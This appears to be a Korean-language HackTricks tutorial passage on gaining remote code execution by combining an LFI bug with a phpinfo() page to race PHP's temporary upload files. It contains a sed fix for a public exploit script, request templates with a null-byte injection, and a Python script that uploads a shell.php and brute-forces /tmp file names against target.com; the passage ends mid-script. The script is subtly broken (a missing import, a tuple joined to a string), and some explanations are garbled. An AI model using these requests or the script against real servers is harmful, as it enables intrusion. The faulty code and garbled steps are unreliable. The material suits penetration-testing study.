{{#include ../../banners/hacktricks-training.md}} 이 취약점을 이용하려면 다음이 필요합니다: **LFI 취약점, phpinfo()가 표시되는 페이지, "file_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.** [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) **튜토리얼 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) 익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다: ``` sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py ``` 당신은 공격의 시작 부분에서 **payload**를 변경해야 합니다 (예: php-rev-shell의 경우), **REQ1** (이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ** (이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 공격 시 이중 "%"를 확인하세요) {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} ### 이론 PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이 파일은 서버가 요청 처리를 완료할 때까지 임시 디렉토리에 저장되며, 그 후 이 임시 파일은 삭제됩니다. 그런 다음, 웹 서버에서 LFI 취약점을 발견하면 생성된 임시 파일의 이름을 추측하고 삭제되기 전에 임시 파일에 접근하여 RCE를 악용할 수 있습니다. **Windows**에서는 파일이 일반적으로 **C:\Windows\temp\php**에 저장됩니다. **Linux**에서는 파일 이름이 **무작위**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출해야** 하며 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다. **phpinfo()** **PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송됩니다**. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다** (큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다립니다** (임시 파일의 이름이 있는 곳) 그리고 LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근하려고 시도합니다**. **이름을 무작위로 추측하기 위한 Python 스크립트 (길이 = 6)** ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: #